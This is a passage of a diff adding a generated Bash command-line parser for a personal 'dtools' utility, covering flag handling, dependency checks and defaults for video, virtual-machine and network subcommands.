action="boost-audio" + shift + dtools_video_boost_audio_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_video_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_video_rip_audio_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_video_rip_audio_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ffmpeg >/dev/null 2>&1; then + printf "missing dependency: ffmpeg\n" >&2 + printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 + missing_deps=1 + else + deps['ffmpeg']="$(command -v ffmpeg | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="video rip-audio" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --title) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--title']="$2" + shift + shift + else + printf "%s\n" "--title requires an argument: --title TITLE" >&2 + exit 1 + fi + ;; + + # :flag.case + --output-file) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output-file']="$2" + shift + shift + else + printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['video_file']+x} ]]; then + args['video_file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['video_file']+x} ]]; then + printf "missing required argument: VIDEO_FILE\nusage: dtools video rip-audio VIDEO_FILE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.required_flags_filter + if [[ -z ${args['--output-file']+x} ]]; then + printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_video_youtube_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_video_youtube_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v youtube_dl >/dev/null 2>&1; then + printf "missing dependency: youtube_dl\n" >&2 + printf "%s\n\n" "See 'https://github.com/ytdl-org/youtube-dl'" >&2 + missing_deps=1 + else + deps['youtube_dl']="$(command -v youtube_dl | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="video youtube" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --audio-only) + + # :flag.case_no_arg + args['--audio-only']=1 + shift + ;; + + # :flag.case + --playlist) + + # :flag.case_no_arg + args['--playlist']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['url']+x} ]]; then + args['url']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['url']+x} ]]; then + printf "missing required argument: URL\nusage: dtools video youtube URL [OPTIONS]\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_video_split_scenes_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_video_split_scenes_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v scenedetect >/dev/null 2>&1; then + printf "missing dependency: scenedetect\n" >&2 + printf "%s\n\n" "See 'https://www.scenedetect.com/'" >&2 + missing_deps=1 + else + deps['scenedetect']="$(command -v scenedetect | head -n1)" + fi + + # :dependency.filter + if ! command -v ffmpeg >/dev/null 2>&1; then + printf "missing dependency: ffmpeg\n" >&2 + printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 + missing_deps=1 + else + deps['ffmpeg']="$(command -v ffmpeg | head -n1)" + fi + + # :dependency.filter + if ! command -v ffprobe >/dev/null 2>&1; then + printf "missing dependency: ffprobe\n" >&2 + printf "%s\n\n" "See 'https://ffmpeg.org/ffprobe.html'" >&2 + missing_deps=1 + else + deps['ffprobe']="$(command -v ffprobe | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="video split-scenes" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --content-threshold) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--content-threshold']="$2" + shift + shift + else + printf "%s\n" "--content-threshold requires an argument: --content-threshold CONTENT_THRESHOLD" >&2 + exit 1 + fi + ;; + + # :flag.case + --fade-threshold) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--fade-threshold']="$2" + shift + shift + else + printf "%s\n" "--fade-threshold requires an argument: --fade-threshold FADE_THRESHOLD" >&2 + exit 1 + fi + ;; + + # :flag.case + --keep-duration) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--keep-duration']="$2" + shift + shift + else + printf "%s\n" "--keep-duration requires an argument: --keep-duration KEEP_DURATION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['video_file']+x} ]]; then + args['video_file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['video_file']+x} ]]; then + printf "missing required argument: VIDEO_FILE\nusage: dtools video split-scenes VIDEO_FILE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--content-threshold']:-} ]] || args['--content-threshold']="130" + [[ -n ${args['--fade-threshold']:-} ]] || args['--fade-threshold']="5" + [[ -n ${args['--keep-duration']:-} ]] || args['--keep-duration']="8" + +} + +# :command.parse_requirements +dtools_video_duration_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_video_duration_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ffprobe >/dev/null 2>&1; then + printf "missing dependency: ffprobe\n" >&2 + printf "%s\n\n" "See 'https://ffmpeg.org/ffprobe.html'" >&2 + missing_deps=1 + else + deps['ffprobe']="$(command -v ffprobe | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="video duration" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['video_file']+x} ]]; then + args['video_file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['video_file']+x} ]]; then + printf "missing required argument: VIDEO_FILE\nusage: dtools video duration VIDEO_FILE\n" >&2 + + exit 1 + fi + +} + +# :command.parse_requirements +dtools_video_boost_audio_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_video_boost_audio_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v ffmpeg >/dev/null 2>&1; then + printf "missing dependency: ffmpeg\n" >&2 + printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 + missing_deps=1 + else + deps['ffmpeg']="$(command -v ffmpeg | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="video boost-audio" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --multiplier) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--multiplier']="$2" + shift + shift + else + printf "%s\n" "--multiplier requires an argument: --multiplier MULTIPLIER" >&2 + exit 1 + fi + ;; + + # :flag.case + --output-file) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output-file']="$2" + shift + shift + else + printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['video_file']+x} ]]; then + args['video_file']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['video_file']+x} ]]; then + printf "missing required argument: VIDEO_FILE\nusage: dtools video boost-audio VIDEO_FILE [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.required_flags_filter + if [[ -z ${args['--output-file']+x} ]]; then + printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--multiplier']:-} ]] || args['--multiplier']="2.0" + +} + +# :command.parse_requirements +dtools_vm_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_vm_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + windows) + action="windows" + shift + dtools_vm_windows_parse_requirements "$@" + shift $# + ;; + + linux) + action="linux" + shift + dtools_vm_linux_parse_requirements "$@" + shift $# + ;; + + mac) + action="mac" + shift + dtools_vm_mac_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_vm_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_vm_windows_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_vm_windows_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v xfreerdp3 >/dev/null 2>&1; then + printf "missing dependency: xfreerdp3\n" >&2 + printf "%s\n\n" "See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds'" >&2 + missing_deps=1 + else + deps['xfreerdp3']="$(command -v xfreerdp3 | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="vm windows" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --persistent-dir-prefix) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--persistent-dir-prefix']="$2" + shift + shift + else + printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 + exit 1 + fi + ;; + + # :flag.case + --persistent) + + # :flag.case_no_arg + args['--persistent']=1 + shift + ;; + + # :flag.case + --wipe-persistent-data) + + # :flag.case_no_arg + args['--wipe-persistent-data']=1 + shift + ;; + + # :flag.case + --disk-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--disk-size']="$2" + shift + shift + else + printf "%s\n" "--disk-size requires an argument: --disk-size DISK_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --ram-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--ram-size']="$2" + shift + shift + else + printf "%s\n" "--ram-size requires an argument: --ram-size RAM_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --cpu-cores) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--cpu-cores']="$2" + shift + shift + else + printf "%s\n" "--cpu-cores requires an argument: --cpu-cores CPU_CORES" >&2 + exit 1 + fi + ;; + + # :flag.case + --share-directory) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--share-directory']="$2" + shift + shift + else + printf "%s\n" "--share-directory requires an argument: --share-directory SHARE_DIRECTORY" >&2 + exit 1 + fi + ;; + + # :flag.case + --version) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--version']="$2" + shift + shift + else + printf "%s\n" "--version requires an argument: --version VERSION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.needy_flags_filter + # :flag.needs + if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then + printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="64" + [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="4" + [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="2" + [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." + [[ -n ${args['--version']:-} ]] || args['--version']="11" + + # :command.validations + # :flag.validations + if [[ -v args['--disk-size'] ]]; then + validation_output="$(validate_integer "${args['--disk-size']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--disk-size DISK_SIZE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--ram-size'] ]]; then + validation_output="$(validate_integer "${args['--ram-size']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--ram-size RAM_SIZE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--cpu-cores'] ]]; then + validation_output="$(validate_integer "${args['--cpu-cores']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--cpu-cores CPU_CORES" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--version']:-} ]] && [[ ! ${args['--version']:-} =~ ^(11|11l|11e|10|10l|10e|8e|7e|ve|xp|2025|2022|2019|2016|2012|2008|2003)$ ]]; then + printf "%s\n" "--version must be one of: 11, 11l, 11e, 10, 10l, 10e, 8e, 7e, ve, xp, 2025, 2022, 2019, 2016, 2012, 2008, 2003" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_vm_linux_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_vm_linux_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v remmina >/dev/null 2>&1; then + printf "missing dependency: remmina\n" >&2 + printf "%s\n\n" "See 'https://remmina.org/how-to-install-remmina/'" >&2 + missing_deps=1 + else + deps['remmina']="$(command -v remmina | head -n1)" + fi + + # :dependency.filter + if ! command -v xfreerdp3 >/dev/null 2>&1; then + printf "missing dependency: xfreerdp3\n" >&2 + printf "%s\n\n" "See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds'" >&2 + missing_deps=1 + else + deps['xfreerdp3']="$(command -v xfreerdp3 | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="vm linux" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --persistent-dir-prefix) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--persistent-dir-prefix']="$2" + shift + shift + else + printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 + exit 1 + fi + ;; + + # :flag.case + --persistent) + + # :flag.case_no_arg + args['--persistent']=1 + shift + ;; + + # :flag.case + --wipe-persistent-data) + + # :flag.case_no_arg + args['--wipe-persistent-data']=1 + shift + ;; + + # :flag.case + --no-gui) + # :flag.conflicts + if [[ -n "${args['--use-rdp']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--use-rdp" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--no-gui']=1 + shift + ;; + + # :flag.case + --use-rdp) + # :flag.conflicts + if [[ -n "${args['--no-gui']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--no-gui" >&2 + exit 1 + fi + + # :flag.case_no_arg + args['--use-rdp']=1 + shift + ;; + + # :flag.case + --rdp-user) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--rdp-user']="$2" + shift + shift + else + printf "%s\n" "--rdp-user requires an argument: --rdp-user RDP_USER" >&2 + exit 1 + fi + ;; + + # :flag.case + --rdp-password) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--rdp-password']="$2" + shift + shift + else + printf "%s\n" "--rdp-password requires an argument: --rdp-password RDP_PASSWORD" >&2 + exit 1 + fi + ;; + + # :flag.case + --disk-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--disk-size']="$2" + shift + shift + else + printf "%s\n" "--disk-size requires an argument: --disk-size DISK_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --ram-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--ram-size']="$2" + shift + shift + else + printf "%s\n" "--ram-size requires an argument: --ram-size RAM_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --cpu-cores) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--cpu-cores']="$2" + shift + shift + else + printf "%s\n" "--cpu-cores requires an argument: --cpu-cores CPU_CORES" >&2 + exit 1 + fi + ;; + + # :flag.case + --share-directory) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--share-directory']="$2" + shift + shift + else + printf "%s\n" "--share-directory requires an argument: --share-directory SHARE_DIRECTORY" >&2 + exit 1 + fi + ;; + + # :flag.case + --dist) + # :flag.conflicts + if [[ -n "${args['--image-url']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--image-url" >&2 + exit 1 + fi + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--dist']="$2" + shift + shift + else + printf "%s\n" "--dist requires an argument: --dist DISTRIBUTION" >&2 + exit 1 + fi + ;; + + # :flag.case + --image-url) + # :flag.conflicts + if [[ -n "${args['--dist']:-}" ]]; then + printf "conflicting options: %s cannot be used with %s\n" "$key" "--dist" >&2 + exit 1 + fi + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--image-url']="$2" + shift + shift + else + printf "%s\n" "--image-url requires an argument: --image-url IMAGE_URL" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.needy_flags_filter + # :flag.needs + if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then + printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 + exit 1 + fi + + # :flag.needs + if [[ -n ${args['--rdp-user']+x} ]] && [[ -z "${args[--use-rdp]:-}" ]]; then + printf "%s\n" "--rdp-user needs --use-rdp" >&2 + exit 1 + fi + + # :flag.needs + if [[ -n ${args['--rdp-password']+x} ]] && [[ -z "${args[--use-rdp]:-}" ]]; then + printf "%s\n" "--rdp-password needs --use-rdp" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--rdp-user']:-} ]] || args['--rdp-user']="$USER" + [[ -n ${args['--rdp-password']:-} ]] || args['--rdp-password']="admin" + [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="128" + [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="8" + [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="4" + [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." + + # :command.validations + # :flag.validations + if [[ -v args['--disk-size'] ]]; then + validation_output="$(validate_integer "${args['--disk-size']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--disk-size DISK_SIZE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--ram-size'] ]]; then + validation_output="$(validate_integer "${args['--ram-size']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--ram-size RAM_SIZE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--cpu-cores'] ]]; then + validation_output="$(validate_integer "${args['--cpu-cores']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--cpu-cores CPU_CORES" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--dist']:-} ]] && [[ ! ${args['--dist']:-} =~ ^(alma|alpine|arch|cachy|centos|debian|fedora|gentoo|kali|kubuntu|mint|manjaro|mx|nixos|suse|oracle|rocky|slack|tails|ubuntu|ubuntus|xubuntu)$ ]]; then + printf "%s\n" "--dist must be one of: alma, alpine, arch, cachy, centos, debian, fedora, gentoo, kali, kubuntu, mint, manjaro, mx, nixos, suse, oracle, rocky, slack, tails, ubuntu, ubuntus, xubuntu" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_linux_image_url_or_dist_is_defined) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_vm_mac_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_vm_mac_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v remmina >/dev/null 2>&1; then + printf "missing dependency: remmina\n" >&2 + printf "%s\n\n" "See 'https://remmina.org/how-to-install-remmina/'" >&2 + missing_deps=1 + else + deps['remmina']="$(command -v remmina | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="vm mac" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --persistent-dir-prefix) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--persistent-dir-prefix']="$2" + shift + shift + else + printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 + exit 1 + fi + ;; + + # :flag.case + --persistent) + + # :flag.case_no_arg + args['--persistent']=1 + shift + ;; + + # :flag.case + --wipe-persistent-data) + + # :flag.case_no_arg + args['--wipe-persistent-data']=1 + shift + ;; + + # :flag.case + --disk-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--disk-size']="$2" + shift + shift + else + printf "%s\n" "--disk-size requires an argument: --disk-size DISK_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --ram-size) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--ram-size']="$2" + shift + shift + else + printf "%s\n" "--ram-size requires an argument: --ram-size RAM_SIZE" >&2 + exit 1 + fi + ;; + + # :flag.case + --cpu-cores) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--cpu-cores']="$2" + shift + shift + else + printf "%s\n" "--cpu-cores requires an argument: --cpu-cores CPU_CORES" >&2 + exit 1 + fi + ;; + + # :flag.case + --share-directory) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--share-directory']="$2" + shift + shift + else + printf "%s\n" "--share-directory requires an argument: --share-directory SHARE_DIRECTORY" >&2 + exit 1 + fi + ;; + + # :flag.case + --version) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--version']="$2" + shift + shift + else + printf "%s\n" "--version requires an argument: --version VERSION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.needy_flags_filter + # :flag.needs + if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then + printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="64" + [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="4" + [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="2" + [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." + [[ -n ${args['--version']:-} ]] || args['--version']="13" + + # :command.validations + # :flag.validations + if [[ -v args['--disk-size'] ]]; then + validation_output="$(validate_integer "${args['--disk-size']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--disk-size DISK_SIZE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--ram-size'] ]]; then + validation_output="$(validate_integer "${args['--ram-size']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--ram-size RAM_SIZE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--cpu-cores'] ]]; then + validation_output="$(validate_integer "${args['--cpu-cores']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--cpu-cores CPU_CORES" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--version']:-} ]] && [[ ! ${args['--version']:-} =~ ^(15|14|13|12|11)$ ]]; then + printf "%s\n" "--version must be one of: 15, 14, 13, 12, 11" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_network_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + generate-self-signed-certificate) + action="generate-self-signed-certificate" + shift + dtools_network_generate_self_signed_certificate_parse_requirements "$@" + shift $# + ;; + + https-proxy) + action="https-proxy" + shift + dtools_network_https_proxy_parse_requirements "$@" + shift $# + ;; + + tcp-proxy) + action="tcp-proxy" + shift + dtools_network_tcp_proxy_parse_requirements "$@" + shift $# + ;; + + proxy-with-nginx) + action="proxy-with-nginx" + shift + dtools_network_proxy_with_nginx_parse_requirements "$@" + shift $# + ;; + + mitm-proxy) + action="mitm-proxy" + shift + dtools_network_mitm_proxy_parse_requirements "$@" + shift $# + ;; + + archive-website) + action="archive-website" + shift + dtools_network_archive_website_parse_requirements "$@" + shift $# + ;; + + warc-2-zim) + action="warc-2-zim" + shift + dtools_network_warc_2_zim_parse_requirements "$@" + shift $# + ;; + + mermaid-api) + action="mermaid-api" + shift + dtools_network_mermaid_api_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_network_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_network_generate_self_signed_certificate_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_network_generate_self_signed_certificate_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v openssl >/dev/null 2>&1; then + printf "missing dependency: openssl\n" >&2 + printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 + missing_deps=1 + else + deps['openssl']="$(command -v openssl | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="network generate-self-signed-certificate" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --output) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--output']="$2" + shift + shift + else + printf "%s\n" "--output requires an argument: --output OUTPUT" >&2 + exit 1 + fi + ;; + + # :flag.case + --key-output) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--key-output']="$2" + shift + shift + else + printf "%s\n" "--key-output requires an argument: --key-output KEY_OUTPUT" >&2 + exit 1 + fi + ;; + + # :flag.case + --hostname) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--hostname']="$2" + shift + shift + 